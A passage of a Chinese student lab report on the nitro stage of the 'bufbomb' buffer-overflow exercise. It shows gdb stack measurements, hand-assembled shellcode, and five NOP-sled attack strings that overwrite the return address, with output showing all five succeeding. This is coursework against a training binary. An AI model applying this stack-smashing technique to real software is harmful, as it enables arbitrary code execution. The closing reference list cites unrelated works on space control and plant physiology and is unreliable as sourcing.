(gdb) p/x $ebp
$7 = 0x55683eb0
(gdb) c
Continuing.
Type string:xiao
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x0804939d in getbufn ()
(gdb) p/x $ebp
$8 = 0x55683e40
(gdb) c
Continuing.
Type string:qi
Dud: getbufn returned 0x1
```

统计如下规律：

%ebp 的值	减去 0x208 为 buf 的首地址
0x55683e50	0x55683C48
0x55683e50	0x55683C48

0x55683ea0	0x55683C98
0x55683eb0	0x55683CA8
0x55683e40	0x55683C38

查看<testn>段代码：

```
08048d0e <testn>:
 8048d0e:       55                      push   %ebp
 8048d0f:       89 e5                   mov    %esp,%ebp
 8048d11:       83 ec 18                sub    $0x18,%esp
 8048d14:       e8 ea 03 00 00          call   8049103 <uniqueval>
 8048d19:       89 45 f0                mov    %eax,-0x10(%ebp)
 8048d1c:       e8 73 06 00 00          call   8049394 <getbufn>
 8048d21:       89 45 f4                mov    %eax,-0xc(%ebp)
 8048d24:       e8 da 03 00 00          call   8049103 <uniqueval>
 8048d29:       89 c2                   mov    %eax,%edx
 8048d2b:       8b 45 f0                mov    -0x10(%ebp),%eax
 8048d2e:       39 c2                   cmp    %eax,%edx
```

可知 call <getbufn>后的地址为 0x8048d21

由语句 mov %esp,%ebp 得知，此时%esp 与%ebp 的值相等，然后，sub $0x18,%esp，执行完后，%ebp=%esp+0x18，这就是%esp 与%ebp 的变化关系。

编写攻击代码如下：

```
mov $0x20c52cf7,%eax
lea 0x18(%esp),%ebp
push $0x8048d21
ret
```

通过 `gcc -m32 -c boom.s`
`objdump -d boom.o > boom.d`
得到以下十六进制字节码指令：

```
Disassembly of section .text:

00000000 <.text>:
   0:   b8 f7 2c c5 20          mov    $0x20c52cf7,%eax
   5:   8d 6c 24 18             lea    0x18(%esp),%ebp
   9:   68 21 8d 04 08          push   $0x8048d21
   e:   c3                      ret
```

构造 nitro 的攻击字符为：

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
b8 f7 2c c5 20 8d 6c 24 18 68
21 8d 04 08 c3
48 3c 68 55
0a
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
b8 f7 2c c5 20 8d 6c 24 18 68
21 8d 04 08 c3
48 3c 68 55
0a
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
b8 f7 2c c5 20 8d 6c 24 18 68
21 8d 04 08 c3
98 3c 68 55
0a
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
b8 f7 2c c5 20 8d 6c 24 18 68
21 8d 04 08 c3
a8 3c 68 55
0a
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
```

```
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
b8 f7 2c c5 20 8d 6c 24 18 68
21 8d 04 08 c3
38 3c 68 55
```

这里 buf 一共 520 个字节空间加上返回地址和%edp 一共 528 个字节，去掉 4 个返回地址，再去掉自己编写的 15 个字节编码，用 509 个字节用 nop 填充。再有 15 个字节汇编指令字节码，并覆盖保存的%ebp，最后用 buf 的首地址覆盖返回地址，连续构造 5 次。

输入后结果如下：

```
demerzel@demerzel-virtual-machine:~/ccode/lab4/bufbomb_32_O0_EBP/buflab-handout$
 ./bufbomb -nu 1180300811 <nitro_1180300811_raw.txt
Userid: 1180300811
Cookie: 0x20c52cf7
Type string:KABOOM!: getbufn returned 0x20c52cf7
Keep going
Type string:KABOOM!: getbufn returned 0x20c52cf7
Keep going
Type string:KABOOM!: getbufn returned 0x20c52cf7
Keep going
Type string:KABOOM!: getbufn returned 0x20c52cf7
Keep going
Type string:KABOOM!: getbufn returned 0x20c52cf7
VALID
NICE JOB!
```

第 4 章 总结

4.1 请总结本次实验的收获

本次实验通过对缓冲区的攻击，让我更清晰的认识了栈的结构以及在函数执行过程中的具体方法，也明白了通过驶入字符串可以对程序攻击的方法，在自己的程序中必须要进行越界检查，不能发生缓冲区溢出这种危险的错误。

4.2 请给出对本次实验内容的建议

本次实验整体安排相当好，希望继续保留，同 lab3 一样。

参考文献

[1] 林来兴. 空间控制技术[M]. 北京：中国宇航出版社，1992：25-42.

[2] 辛希孟. 信息技术与信息服务国际研讨会论文集：A 集[C]. 北京：中国科学出版社，1999.

[3] 赵耀东. 新时代的工业工程师[M/OL]. 台北：天下文化出版社，1998 [1998-09-26]. http://www.ie.nthu.edu.tw/info/ie.newie.htm（Big5）.

[4] 谌颖. 空间交会控制理论与方法研究[D]. 哈尔滨：哈尔滨工业大学，1992：8-13.

[5] KANAMORI H. Shaking Without Quaking[J]. Science，1998，279（5359）：2063-2064.

[6] CHRISTINE M. Plant Physiology: Plant Biology in the Genome Era[J/OL]. Science，1998，281：331-332[1998-09-23]. http://www.sciencemag.org/cgi/collection/anatmorp.